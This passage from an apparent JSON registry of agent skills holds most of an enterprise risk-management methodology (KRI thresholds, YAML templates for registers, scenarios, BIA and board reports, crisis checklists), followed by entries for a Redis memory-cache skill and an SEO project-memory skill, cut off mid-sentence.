|\n| **Weak** | Manual, inconsistent execution, rarely tested, some evidence of failure |\n| **None** | No control in place or control has failed repeatedly |\n\n**Defense-in-Depth Principle:**\nEvery Critical/High risk should have:\n- At least 1 preventive control\n- At least 1 detective control\n- At least 1 corrective control\n- No single point of control failure\n\n### Mitigation Action Plan Template\n\n```yaml\nmitigation_plan:\n risk_id: \"R-001\"\n risk_title: \"[name]\"\n current_residual_score: [X]\n target_residual_score: [Y]\n \n actions:\n - id: \"M-001-A\"\n description: \"[Specific, measurable action]\"\n control_type: \"Preventive\"\n owner: \"[Name / Role]\"\n start_date: \"YYYY-MM-DD\"\n target_date: \"YYYY-MM-DD\"\n budget: \"$[amount]\"\n status: \"[Not Started / In Progress / Complete / Overdue]\"\n expected_reduction: \"[How much this reduces likelihood or impact]\"\n success_criteria: \"[How we know it worked]\"\n dependencies: [\"[other actions or resources needed]\"]\n \n total_budget: \"$[sum]\"\n expected_residual_after_actions:\n likelihood: [1-5]\n impact: [1-5]\n score: [1-25]\n rating: \"[Low/Medium/High]\"\n \n review_frequency: \"[weekly during implementation, monthly after]\"\n escalation_trigger: \"[what triggers escalation to senior management]\"\n```\n\n### Cost-Benefit Analysis for Mitigation\n\nBefore approving mitigation spend:\n\n```\nAnnual Expected Loss (AEL) = Probability \u00d7 Impact (annualized)\nMitigation Cost = One-time cost + Annual operating cost\nRisk Reduction = Current AEL - Post-mitigation AEL\nROI = (Risk Reduction - Mitigation Cost) / Mitigation Cost\n\nRule: Only invest if ROI > 0 (risk reduction exceeds mitigation cost)\nException: Compliance and safety risks \u2014 invest regardless of ROI\n```\n\n---\n\n## Phase 5: Key Risk Indicators (KRIs) & Monitoring\n\n### KRI Design Framework\n\nGood KRIs are:\n- **Leading** (predict risk, don't just report incidents)\n- **Quantifiable** (numbers, not opinions)\n- **Timely** (available frequently enough to act)\n- **Actionable** (clear thresholds that trigger specific responses)\n- **Owned** (someone is accountable for monitoring)\n\n### KRI Library by Category\n\n#### Strategic KRIs\n| KRI | Green | Amber | Red | Frequency |\n|-----|-------|-------|-----|-----------|\n| Customer concentration (top client % revenue) | <15% | 15-25% | >25% | Monthly |\n| Market share trend | Growing | Flat | Declining 2+ quarters | Quarterly |\n| Innovation pipeline (projects in development) | >5 | 3-5 | <3 | Monthly |\n| Strategic initiative on-track % | >80% | 60-80% | <60% | Monthly |\n| Competitor new product launches | Monitoring | 2+ in quarter | Direct threat to core product | Monthly |\n\n#### Financial KRIs\n| KRI | Green | Amber | Red | Frequency |\n|-----|-------|-------|-----|-----------|\n| Cash runway (months) | >12 | 6-12 | <6 | Weekly |\n| AR aging >90 days (% of total) | <5% | 5-15% | >15% | Monthly |\n| Budget variance | \u00b15% | \u00b15-15% | >\u00b115% | Monthly |\n| Gross margin trend | Stable/growing | -2% QoQ | -5%+ QoQ | Monthly |\n| Debt-to-equity ratio | <1.0 | 1.0-2.0 | >2.0 | Quarterly |\n\n#### Operational KRIs\n| KRI | Green | Amber | Red | Frequency |\n|-----|-------|-------|-----|-----------|\n| System uptime | >99.9% | 99.5-99.9% | <99.5% | Daily |\n| Vendor SLA compliance | >95% | 85-95% | <85% | Monthly |\n| Process error rate | <1% | 1-3% | >3% | Weekly |\n| Key person single-point-of-failure count | 0 | 1-2 | 3+ | Quarterly |\n| Project delivery on-time % | >85% | 70-85% | <70% | Monthly |\n\n#### Compliance KRIs\n| KRI | Green | Amber | Red | Frequency |\n|-----|-------|-------|-----|-----------|\n| Overdue compliance actions | 0 | 1-3 | 4+ | Weekly |\n| Policy exception requests (trend) | Stable | +25% QoQ | +50% QoQ | Monthly |\n| Training completion rate | >95% | 80-95% | <80% | Monthly |\n| Audit findings (open) | <5 | 5-10 | >10 | Monthly |\n| Regulatory change backlog | Current | 1-2 behind | 3+ behind | Monthly |\n\n#### Cyber KRIs\n| KRI | Green | Amber | Red | Frequency |\n|-----|-------|-------|-----|-----------|\n| Phishing click rate | <3% | 3-8% | >8% | Monthly |\n| Mean time to patch (critical) | <24hr | 24-72hr | >72hr | Weekly |\n| Privileged access reviews overdue | 0 | 1-2 | 3+ | Monthly |\n| Third-party risk assessments current | >90% | 70-90% | <70% | Quarterly |\n| Security incidents (P1/P2) | 0 | 1-2/quarter | 3+/quarter | Weekly |\n\n#### People KRIs\n| KRI | Green | Amber | Red | Frequency |\n|-----|-------|-------|-----|-----------|\n| Voluntary turnover (annualized) | <10% | 10-20% | >20% | Monthly |\n| Key role vacancy duration | <30 days | 30-60 days | >60 days | Monthly |\n| Employee engagement score | >7.5/10 | 6-7.5 | <6 | Quarterly |\n| Succession coverage (critical roles) | >80% | 50-80% | <50% | Quarterly |\n| Safety incidents (recordable) | 0 | 1-2/quarter | 3+/quarter | Monthly |\n\n### KRI Dashboard Template\n\n```yaml\nkri_dashboard:\n period: \"YYYY-MM\"\n overall_risk_posture: \"[Green/Amber/Red]\"\n \n summary:\n total_kris: [N]\n green: [N]\n amber: [N]\n red: [N]\n trending_worse: [N]\n new_breaches: [N]\n \n critical_alerts:\n - kri: \"[name]\"\n current_value: \"[X]\"\n threshold_breached: \"Red\"\n trend: \"\u2191 Worsening\"\n risk_id: \"R-[XXX]\"\n action_required: \"[immediate action]\"\n owner: \"[who]\"\n \n category_summary:\n strategic: { green: N, amber: N, red: N }\n financial: { green: N, amber: N, red: N }\n operational: { green: N, amber: N, red: N }\n compliance: { green: N, amber: N, red: N }\n cyber: { green: N, amber: N, red: N }\n people: { green: N, amber: N, red: N }\n```\n\n---\n\n## Phase 6: Scenario Analysis & Stress Testing\n\n### Scenario Design Process\n\n1. **Select scenarios** \u2014 3-5 plausible but severe scenarios per year\n2. **Define parameters** \u2014 What happens, how fast, how severe\n3. **Model impact** \u2014 Financial, operational, reputational consequences\n4. **Test responses** \u2014 Walk through response plans\n5. **Identify gaps** \u2014 What can't we handle?\n6. **Update plans** \u2014 Strengthen based on findings\n\n### Scenario Template\n\n```yaml\nscenario:\n name: \"[Descriptive name]\"\n category: \"[Strategic/Financial/Operational/Cyber/External]\"\n narrative: |\n [2-3 paragraph description of what happens, the sequence of events,\n and the timeline over which it unfolds]\n \n trigger: \"[What starts the scenario]\"\n timeline: \"[How long the scenario plays out]\"\n severity: \"[Moderate / Severe / Catastrophic]\"\n \n impacts:\n financial:\n revenue_impact: \"[$X or -%]\"\n cost_impact: \"[$X]\"\n cash_flow_impact: \"[description]\"\n operational:\n disruption_duration: \"[X days/weeks]\"\n capacity_reduction: \"[X%]\"\n systems_affected: [\"[list]\"]\n reputational:\n media_coverage: \"[level]\"\n customer_impact: \"[churn estimate]\"\n stakeholder_reaction: \"[description]\"\n regulatory:\n potential_fines: \"[$X]\"\n investigation_likelihood: \"[Low/Medium/High]\"\n \n current_preparedness:\n existing_controls: [\"[what we have]\"]\n gaps_identified: [\"[what's missing]\"]\n response_plan_status: \"[Tested/Documented/Draft/None]\"\n \n recommended_actions:\n - action: \"[What to do to prepare]\"\n priority: \"[Critical/High/Medium]\"\n cost: \"[$X]\"\n timeline: \"[implementation timeline]\"\n```\n\n### Pre-Built Scenario Library\n\n**1. Cyber Breach Scenario**\n- Ransomware encrypts critical systems, data exfiltrated\n- 5-7 day recovery, potential regulatory notification\n- Financial impact: $500K-$5M (response, legal, notification, business interruption)\n\n**2. Key Customer Loss**\n- Top 3 customer terminates contract (30-90 day notice)\n- Revenue cliff + team restructuring\n- Financial impact: [customer revenue] + 6 months acquisition cost for replacement\n\n**3. Economic Downturn**\n- 20-30% revenue decline over 6 months\n- Forced cost reduction, potential layoffs\n- Cash runway compression, credit facility stress\n\n**4. Key Person Departure**\n- CEO/CTO/critical engineer leaves with 2-week notice\n- Knowledge loss, team morale impact, customer confidence\n- 3-6 month recovery to full capability\n\n**5. Supply Chain Disruption**\n- Critical vendor fails or geopolitical event blocks supply\n- 2-8 week disruption to service delivery\n- Customer SLA breaches, contract penalties\n\n**6. Regulatory Enforcement**\n- Regulator investigation triggered by complaint or audit\n- 6-12 month investigation, potential fine\n- Legal costs, management distraction, compliance remediation\n\n### Stress Test Methodology\n\nFor financial stress tests:\n\n```\nBase Case: Current budget/forecast\nStress Case 1 (Moderate): Revenue -15%, costs +10%, delayed collections +30 days\nStress Case 2 (Severe): Revenue -30%, costs +20%, key customer loss, credit line frozen\nStress Case 3 (Catastrophic): Revenue -50%, major incident cost, regulatory fine\n\nFor each: Calculate cash runway, covenant compliance, survival actions required\n```\n\n---\n\n## Phase 7: Risk Reporting\n\n### Board Risk Report Structure\n\n**1. Executive Summary** (1 page)\n- Overall risk posture: [Green/Amber/Red] with trend\n- Top 5 risks (heatmap visual description)\n- Material changes since last report\n- Key decisions required\n\n**2. Risk Heatmap** (1 page)\n- 5\u00d75 matrix with risk IDs plotted\n- Movement arrows showing trend (\u2191\u2193\u2192)\n- Color-coded by category\n\n**3. Top Risk Deep-Dives** (1 page each, top 5 only)\n- Risk description and current assessment\n- Control effectiveness\n- Mitigation progress\n- KRI dashboard\n- Trend analysis\n- Recommendation\n\n**4. Emerging Risks** (1 page)\n- New risks identified this period\n- External environment changes\n- Industry incidents / peer events\n- Horizon scanning findings\n\n**5. Risk Appetite Compliance** (1 page)\n- Risks operating outside appetite\n- Appetite breach explanations\n- Requested appetite adjustments\n\n**6. Appendix**\n- Full risk register (summary table)\n- KRI dashboard (all indicators)\n- Mitigation action tracker\n- Scenario test results\n\n### Monthly Management Risk Report\n\n```yaml\nmonthly_risk_report:\n period: \"YYYY-MM\"\n prepared_by: \"[Risk Owner]\"\n \n posture_summary:\n overall: \"[Green/Amber/Red]\"\n trend: \"[Improving/Stable/Deteriorating]\"\n critical_risks: [count]\n high_risks: [count]\n medium_risks: [count]\n low_risks: [count]\n new_risks_identified: [count]\n risks_closed: [count]\n \n top_5_risks:\n - rank: 1\n id: \"R-XXX\"\n title: \"[name]\"\n score: \"[residual score]\"\n trend: \"[\u2191/\u2192/\u2193]\"\n status: \"[On Track / Needs Attention / Escalated]\"\n key_update: \"[1-2 sentence update]\"\n \n kri_breaches:\n red_alerts: [count]\n amber_alerts: [count]\n details: [\"[list any red KRI breaches with context]\"]\n \n mitigation_progress:\n total_actions: [N]\n completed_this_month: [N]\n overdue: [N]\n overdue_detail: [\"[list overdue items]\"]\n \n incidents_this_month:\n - type: \"[category]\"\n description: \"[what happened]\"\n impact: \"[actual impact]\"\n lessons: \"[what we learned]\"\n \n emerging_risks:\n - \"[brief description of newly identified risks or environmental changes]\"\n \n decisions_required:\n - \"[any risk acceptance, budget, or strategy decisions needed from management]\"\n```\n\n---\n\n## Phase 8: Business Continuity & Crisis Management\n\n### Business Impact Analysis (BIA)\n\nFor each critical business process:\n\n```yaml\nbusiness_impact_analysis:\n process: \"[Process name]\"\n owner: \"[Department / Role]\"\n description: \"[What the process does]\"\n \n dependencies:\n systems: [\"[IT systems required]\"]\n people: [\"[key roles / minimum staffing]\"]\n vendors: [\"[third parties]\"]\n data: [\"[critical data / records]\"]\n facilities: [\"[physical locations]\"]\n \n impact_over_time:\n 0_4_hours: { financial: \"$X\", operational: \"[description]\", reputational: \"[level]\" }\n 4_24_hours: { financial: \"$X\", operational: \"[description]\", reputational: \"[level]\" }\n 1_3_days: { financial: \"$X\", operational: \"[description]\", reputational: \"[level]\" }\n 3_7_days: { financial: \"$X\", operational: \"[description]\", reputational: \"[level]\" }\n 7_plus_days: { financial: \"$X\", operational: \"[description]\", reputational: \"[level]\" }\n \n recovery_targets:\n RTO: \"[Recovery Time Objective \u2014 max acceptable downtime]\"\n RPO: \"[Recovery Point Objective \u2014 max acceptable data loss]\"\n MTPD: \"[Maximum Tolerable Period of Disruption]\"\n \n workarounds: \"[Manual processes that can sustain operations temporarily]\"\n recovery_priority: \"[1-Critical / 2-Important / 3-Normal / 4-Low]\"\n```\n\n### Crisis Response Framework\n\n**Severity Levels:**\n\n| Level | Criteria | Response | Authority |\n|-------|----------|----------|-----------|\n| **SEV-1 Critical** | Existential threat, regulatory breach, safety | Crisis Management Team activated, board notified | CEO |\n| **SEV-2 Major** | Significant financial/operational impact | Senior management war room | VP/Director |\n| **SEV-3 Moderate** | Contained impact, managed within department | Department response team | Manager |\n| **SEV-4 Minor** | Low impact, business as usual | Standard operating procedures | Team lead |\n\n**Crisis Response Checklist (SEV-1/2):**\n1. \u25a1 Activate crisis management team (within 30 min)\n2. \u25a1 Assess situation \u2014 facts only, no speculation\n3. \u25a1 Contain immediate threat / stop the bleeding\n4. \u25a1 Notify stakeholders per communication plan\n5. \u25a1 Establish command cadence (hourly updates initially)\n6. \u25a1 Assign investigation lead\n7. \u25a1 Engage external support if needed (legal, PR, forensics)\n8. \u25a1 Document everything (decisions, actions, timeline)\n9. \u25a1 Manage communications (internal, customer, media, regulatory)\n10. \u25a1 Transition to recovery when threat contained\n11. \u25a1 Conduct post-incident review within 5 business days\n12. \u25a1 Update risk register and controls based on findings\n\n### Crisis Communication Templates\n\n**Internal \u2014 First 2 Hours:**\n```\nSubject: [INCIDENT ALERT] \u2014 [Brief Description]\n\nTeam,\n\nWe are aware of [brief factual description of the situation].\n\nWhat we know: [facts only]\nWhat we're doing: [immediate actions taken]\nWhat we need from you: [specific asks]\nNext update: [time]\n\nDo NOT [specific instructions \u2014 e.g., discuss on social media, contact clients directly].\n\nContact [Crisis Lead] with questions.\n```\n\n**Customer \u2014 When Ready:**\n```\nSubject: Important Update Regarding [Issue]\n\nDear [Customer],\n\nWe want to inform you about [factual description].\n\nImpact to you: [specific, honest assessment]\nWhat we've done: [actions taken]\nWhat happens next: [timeline and next steps]\nQuestions: [contact information]\n\nWe take this seriously and are committed to [resolution commitment].\n```\n\n---\n\n## Phase 9: Risk Culture & Governance\n\n### Risk Governance Structure\n\n```\nBoard / Risk Committee\n \u2193 (quarterly review, appetite setting, major decisions)\nChief Risk Officer / Risk Owner\n \u2193 (monthly reporting, framework maintenance)\nRisk Champions (per department)\n \u2193 (weekly monitoring, escalation, KRI tracking)\nAll Employees\n (risk awareness, incident reporting, control compliance)\n```\n\n### Three Lines of Defense Model\n\n| Line | Role | Examples |\n|------|------|---------|\n| **1st Line** \u2014 Business Operations | Own and manage risk daily | Process owners, managers, project leads |\n| **2nd Line** \u2014 Risk & Compliance Functions | Oversee, challenge, advise, monitor | Risk management, compliance, legal, IT security |\n| **3rd Line** \u2014 Independent Assurance | Independent verification | Internal audit, external audit, regulators |\n\n### Risk Culture Health Indicators\n\n| Indicator | Healthy | Unhealthy |\n|-----------|---------|-----------|\n| Incident reporting | Encouraged, no blame | Punished, cover-ups |\n| Risk discussions | Open, at all levels | Only at board, checkbox |\n| Near-miss reporting | Valued as learning | Ignored or hidden |\n| Risk appetite | Understood by teams | Unknown or theoretical |\n| Challenge culture | People speak up | Groupthink, HiPPO rules |\n| Risk training | Regular, practical | Annual checkbox exercise |\n| Accountability | Clear ownership | \"Not my job\" |\n\n### Annual Risk Calendar\n\n| Month | Activity |\n|-------|----------|\n| **January** | Annual risk assessment workshop, set risk appetite |\n| **February** | Update risk register, set KRI targets |\n| **March** | Q1 board risk report, scenario testing |\n| **April** | Risk training refresh, control testing begins |\n| **May** | Third-party risk assessment reviews |\n| **June** | Q2 board risk report, mid-year BCP test |\n| **July** | Emerging risk horizon scan |\n| **August** | Insurance program review |\n| **September** | Q3 board risk report, crisis simulation exercise |\n| **October** | Annual control effectiveness assessment |\n| **November** | Risk appetite review for next year |\n| **December** | Q4 / Annual board risk report, program effectiveness review |\n\n---\n\n## Phase 10: Advanced Frameworks\n\n### Quantitative Risk Analysis (for mature organizations)\n\n**Monte Carlo Simulation Setup:**\n1. Define risk events with probability distributions (not point estimates)\n2. Model correlations between risks\n3. Run 10,000+ simulations\n4. Analyze output distribution (P50, P90, P99 outcomes)\n5. Use results to set reserves, insurance limits, capital allocation\n\n**Value at Risk (VaR) for Operational Risk:**\n```\nOperational VaR = Expected Loss + Unexpected Loss (at confidence level)\n- 95% confidence: Plan for this level in budget\n- 99% confidence: Set aside reserves for this level\n- 99.9% confidence: Transfer via insurance or avoid activity\n```\n\n**Loss Distribution Approach:**\n- Frequency: How many events per year? (Poisson distribution)\n- Severity: How large is each event? (Lognormal distribution)\n- Aggregate loss = Sum of frequency \u00d7 severity simulations\n\n### Bow-Tie Analysis (for complex risks)\n\n```\nThreats \u2192 Preventive Controls \u2192 RISK EVENT \u2192 Mitigating Controls \u2192 Consequences\n \u2502 \u2502 \u2502 \u2502 \u2502\n \u251c\u2500 Threat 1 \u251c\u2500 Control A \u2502 \u251c\u2500 Control X \u251c\u2500 Impact 1\n \u251c\u2500 Threat 2 \u251c\u2500 Control B \u2502 \u251c\u2500 Control Y \u251c\u2500 Impact 2\n \u2514\u2500 Threat 3 \u2514\u2500 Control C \u2502 \u2514\u2500 Control Z \u2514\u2500 Impact 3\n \u2502\n Escalation Factors\n (what makes it worse)\n```\n\nUse bow-tie for:\n- Critical risks where simple cause-consequence isn't enough\n- Risks with multiple threat sources AND multiple consequence paths\n- Communication tool for non-risk specialists\n\n### Risk-Adjusted Decision Making\n\nFor any major decision, attach a risk assessment:\n\n```yaml\ndecision_risk_assessment:\n decision: \"[What we're deciding]\"\n options:\n - option: \"Option A\"\n expected_return: \"$[X]\"\n risk_adjusted_return: \"$[X - expected losses]\"\n key_risks: [\"[list]\"]\n worst_case: \"$[X]\"\n best_case: \"$[X]\"\n \n - option: \"Option B\"\n expected_return: \"$[X]\"\n risk_adjusted_return: \"$[X - expected losses]\"\n key_risks: [\"[list]\"]\n worst_case: \"$[X]\"\n best_case: \"$[X]\"\n \n recommendation: \"[option with best risk-adjusted return]\"\n residual_risks_to_accept: [\"[list risks we're consciously accepting]\"]\n monitoring_plan: \"[how we'll track if risk materializes post-decision]\"\n```\n\n---\n\n## Edge Cases & Special Situations\n\n### Startup / Early-Stage Companies\n- Simplify: Focus on top 10 risks, not comprehensive universe\n- Risk appetite is naturally higher \u2014 document it explicitly\n- Key person risk is your #1 risk \u2014 address founder dependency\n- Cash runway is THE financial risk \u2014 weekly monitoring\n- Skip quantitative methods \u2014 qualitative 5\u00d75 matrix is sufficient\n\n### Regulated Industries (Healthcare, Financial Services, Legal)\n- Regulatory risk gets its own dedicated section with specific regulations\n- Third-party risk management program required (vendor assessments)\n- Incident reporting timelines are legally mandated \u2014 know them\n- Record retention requirements affect risk documentation\n- Consider industry-specific frameworks (NIST CSF, COBIT, Basel III)\n\n### Multi-Entity / International Operations\n- Aggregate risks at group level AND track by entity\n- FX risk, transfer pricing risk, multi-jurisdiction compliance\n- Cultural differences in risk reporting (some cultures underreport)\n- Time zone challenges for crisis response\n- Local regulatory requirements vary significantly\n\n### M&A Integration\n- Pre-deal: Due diligence risk assessment (hidden liabilities, culture clash, integration complexity)\n- Day 1: Combined risk register, harmonize controls, retain key people\n- 100-day plan: Integrate risk frameworks, consolidate insurance, unified reporting\n- Ongoing: Track integration risks separately for 12-18 months\n\n### Black Swan Events\n- By definition, you can't predict them specifically\n- Build organizational resilience: diversification, cash reserves, flexible operations\n- Test extreme scenarios even if \"impossible\"\n- Focus on recovery capability, not just prevention\n- Maintain crisis response muscle through regular exercises\n\n---\n\n## Natural Language Commands\n\nUse these to interact with this skill:\n\n| Command | Action |\n|---------|--------|\n| \"Assess risk for [situation]\" | Full risk assessment using 5\u00d75 matrix |\n| \"Build risk register for [company/project]\" | Create complete risk register YAML |\n| \"Design KRIs for [area]\" | Create key risk indicators with thresholds |\n| \"Run scenario analysis for [event]\" | Full scenario template with impacts |\n| \"Create BIA for [process]\" | Business impact analysis with RTO/RPO |\n| \"Draft risk report for [audience]\" | Board or management risk report |\n| \"Evaluate control effectiveness for [risk]\" | Control assessment with recommendations |\n| \"Map risk interconnections for [risk set]\" | Dependency and cascade analysis |\n| \"Stress test [financial/operational scenario]\" | Multi-severity stress test |\n| \"Design crisis response for [event type]\" | Crisis management plan with comms |\n| \"Calculate risk-adjusted return for [decision]\" | Decision framework with risk overlay |\n| \"Audit risk culture\" | Culture health assessment with recommendations |\n\n---\n\n## \u26a1 Level Up Your Risk Management\n\nThis free skill gives you the complete ERM methodology. Want industry-specific risk frameworks with pre-built registers, KRIs, and compliance checklists?\n\n**AfrexAI Context Packs** ($47 each) include tailored risk sections:\n- **Healthcare** \u2014 HIPAA, patient safety, clinical risk, malpractice\n- **Fintech** \u2014 AML/KYC, market risk, Basel III, PCI-DSS\n- **Legal** \u2014 Professional liability, client confidentiality, conflicts\n- **Construction** \u2014 Site safety, contract risk, weather, subcontractor\n- **SaaS** \u2014 Uptime SLAs, data security, churn risk, vendor lock-in\n- **Manufacturing** \u2014 Supply chain, quality, workplace safety, environmental\n- **Real Estate** \u2014 Market cycles, tenant risk, regulatory, environmental\n- **Ecommerce** \u2014 Fraud, inventory, logistics, platform dependency\n- **Recruitment** \u2014 Compliance, candidate experience, placement risk\n- **Professional Services** \u2014 Utilization, scope creep, client concentration\n\nBrowse all packs: https://afrexai-cto.github.io/context-packs/\n\n### \ud83d\udd17 More Free Skills by AfrexAI\n- `afrexai-contract-review` \u2014 Legal contract review with CLAWS risk scoring\n- `afrexai-competitive-intel` \u2014 7-phase competitive intelligence system\n- `afrexai-fpa-engine` \u2014 Financial planning & analysis\n- `afrexai-founder-os` \u2014 Startup operating system\n- `afrexai-customer-success` \u2014 10-phase customer success & retention\n\nInstall: `clawhub install afrexai-risk-management`\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-risk-management/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1kalin/afrexai-risk-management/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1kalin/afrexai-risk-management/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1kalin/afrexai-risk-management/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-risk-management/SKILL.md", "importedAt": "2026-02-18T19:24:20.878Z"}}}}, {"slug": "clawhub-memory-cache", "name": "Memory Cache", "category": "Storage", "description": "Standardized Redis-backed caching system for OpenClaw agents.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Memory Cache", "slug": "clawhub-memory-cache", "version": "1.0.0", "description": "--- name: memory-cache description: High-performance temporary storage system using Redis. Supports namespaced keys (mema:*), TTL management, and session context caching. Use for: (1) Saving agent state, (2) Caching API results, (3) Sharing data between sub-agents. metadata: {\"openclaw\":{\"requires\":{\"bins\":[\"python3\"],\"env\":[\"REDIS_URL\"]},\"install\":[{\"id\":\"pip-dependencies\",\"kind\":\"exec\",\"command\":\"pip install -r requirements.txt\"}]}} ---", "documentation_md": "---\nname: memory-cache\ndescription: High-performance temporary storage system using Redis. Supports namespaced keys (mema:*), TTL management, and session context caching. Use for: (1) Saving agent state, (2) Caching API results, (3) Sharing data between sub-agents.\nmetadata: {\"openclaw\":{\"requires\":{\"bins\":[\"python3\"],\"env\":[\"REDIS_URL\"]},\"install\":[{\"id\":\"pip-dependencies\",\"kind\":\"exec\",\"command\":\"pip install -r requirements.txt\"}]}}\n---\n\n# Memory Cache\n\nStandardized Redis-backed caching system for OpenClaw agents.\n\n## Prerequisites\n- **Binary**: `python3` must be available on the host.\n- **Credentials**: `REDIS_URL` environment variable (e.g., `redis://localhost:6379/0`).\n\n## Setup\n1. Copy `env.example.txt` to `.env`.\n2. Configure your connection in `.env`.\n3. Dependencies are listed in `requirements.txt`.\n\n## Core Workflows\n\n### 1. Store and Retrieve\n- **Store**: `python3 $WORKSPACE/skills/memory-cache/scripts/cache_manager.py set mema:cache:<name> <value> [--ttl 3600]`\n- **Fetch**: `python3 $WORKSPACE/skills/memory-cache/scripts/cache_manager.py get mema:cache:<name>`\n\n### 2. Search & Maintenance\n- **Scan**: `python3 $WORKSPACE/skills/memory-cache/scripts/cache_manager.py scan [pattern]`\n- **Ping**: `python3 $WORKSPACE/skills/memory-cache/scripts/cache_manager.py ping`\n\n## Key Naming Convention\nStrictly enforce the `mema:` prefix:\n- `mema:context:*` \u2013 Session state.\n- `mema:cache:*` \u2013 Volatile data.\n- `mema:state:*` \u2013 Persistent state.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/memory-cache/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1999azzar/memory-cache/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1999azzar/memory-cache/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1999azzar/memory-cache/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/memory-cache/SKILL.md", "importedAt": "2026-02-18T19:24:20.722Z"}}}}, {"slug": "clawhub-memory-management", "name": "Memory Management", "category": "Storage", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Memory Management", "slug": "clawhub-memory-management", "version": "1.0.0", "description": "--- name: memory-management description: 'Use when the user asks to \"remember project context\", \"save SEO data\", \"track campaign progress\", \"store keyword data\", \"manage project memory\", \"remember this for next time\", \"save my keyword data\", or \"keep track of this campaign\". Manages a two-layer memory system (hot cache + cold storage) for SEO/GEO project context, tracking keywords, competitors, metrics, and campaign status with intelligent promotion/demotion.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"low\" tags: - seo - geo - project memory - context management - campaign tracking - data persistence - keyword tracking - project context triggers: - \"remember project context\" - \"save SEO data\" - \"track campaign progress\" - \"store keyword data\" - \"manage project memory\" - \"save progress\" - \"project context\" - \"remember this for next time\" - \"save my keyword data\" - \"keep track of this campaign\" ---", "documentation_md": "---\nname: memory-management\ndescription: 'Use when the user asks to \"remember project context\", \"save SEO data\", \"track campaign progress\", \"store keyword data\", \"manage project memory\", \"remember this for next time\", \"save my keyword data\", or \"keep track of this campaign\". Manages a two-layer memory system (hot cache + cold storage) for SEO/GEO project context, tracking keywords, competitors, metrics, and campaign status with intelligent promotion/demotion.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"low\"\n tags:\n - seo\n - geo\n - project memory\n - context management\n - campaign tracking\n - data persistence\n - keyword tracking\n - project context\n triggers:\n - \"remember project context\"\n - \"save SEO data\"\n - \"track campaign progress\"\n - \"store keyword data\"\n - \"manage project memory\"\n - \"save progress\"\n - \"project context\"\n - \"remember this for next time\"\n - \"save my keyword data\"\n - \"keep track of this campaign\"\n---\n\n# Memory Management\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../content-quality-auditor/) \u00b7 [domain-authority-auditor](../domain-authority-auditor/) \u00b7 [entity-optimizer](../entity-optimizer/) \u00b7 **memory-management**\n\n</details>\n\nThis skill implements a two-layer memory system for SEO and GEO projects, maintaining a hot cache for active context and cold storage for detailed historical data. It automatically promotes frequently referenced items and demotes stale data, ensuring optimal context loading and efficient project memory.\n\n## When to Use This Skill\n\n- Setting up memory structure for a new SEO project\n- After completing audits, ranking checks, or performance reports\n- When starting a new campaign or optimization initiative\n- When project context needs updating (new keywords, competitors, priorities)\n- When you need to look up historical data or project-specific terminology\n- After 30+ days of work to clean up and archive stale data\n- When context retrieval feels slow or cluttered\n\n## What This Skill Does\n\n1. **Hot Cache Management**: Maintains CLAUDE.md (~100 lines) with active context that's always loaded\n2. **Cold Storage Organization**: Structures detailed archives in memory/ subdirectories\n3. **Context Lookup**: Implements efficient lookup flow from hot cache to cold storage\n4. **Promotion/Demotion**: Moves items between layers based on reference frequency\n5. **Glossary Maintenance**: Manages project-specific terminology and shorthand\n6. **Update Triggers**: Refreshes memory after audits, reports, or ranking checks\n7. **Archive Management**: Time-stamps and archives old data 